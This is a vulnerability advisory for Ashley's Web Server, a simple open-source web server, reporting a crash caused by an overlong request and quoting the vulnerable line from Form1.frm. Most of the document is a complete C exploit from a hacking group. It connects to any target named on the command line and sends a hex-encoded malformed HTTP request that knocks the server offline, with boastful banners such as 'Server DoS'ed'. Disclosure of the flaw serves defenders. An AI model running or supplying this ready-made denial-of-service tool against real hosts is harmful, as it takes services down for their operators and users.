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Ashley 's "Web Server is simple open source Web Server, it supports perl CGI, directory listings, custom front pages and custom error pages".
Buffer overflow condition exists in Ashley's Web Server when a very long text string is passed as argument to server .
Credit:
The information has been provided by eric basher .
Vulnerability:
Currently, the server only supports GET without modification of the CGI scripts, although, a full range of $ENV variables are available to the CGI scripts (query_string, remote_addr, server_port, server_addr, etc.)
A simple URL driven denial of service or buffer overflow condition occurs when a very long text string is sent to the web service. By sending a especially crafted request to the HTTP server it is possible to cause server crash.
Vulnerable code (Form1.frm):
otherheaders = Mid(otherheaders, 1, InStr(1, otherheaders, vbNewLine & vbNewLine) - 1)
When trying to connect and send GET request ,the source debug code will show:
'Run-time error '5';Invalid procedure call or argument
This cause a remote machine running the web server to stop responding.
Exploit:
/*
Ashley's Server DoS Exploit
---------------------------------
INFGP - Hacking&security Research
Resolve host...[OK]
[+] Connecting...[OK]
Target locked
Sending bad procedure...[OK]
[*] Server DoS'ed..that must be hurt!
Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community.
Info: 98.to/infamous
*/
#include <string.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char doscore[] = "GET HTTP/1.0 "
"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
"\x69\x6d\x61\x67\x65\r\n";
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;
if (argc < 2)
{
printf(" Ashley's Server DoS Exploit \n", argv[0]);
printf(" -------------------------------------\n", argv[0]);
printf(" INFGP - Hacking&Security Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: localhost 80\n", argv[0]);
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
target = argv[1];
port = 80;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);
inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
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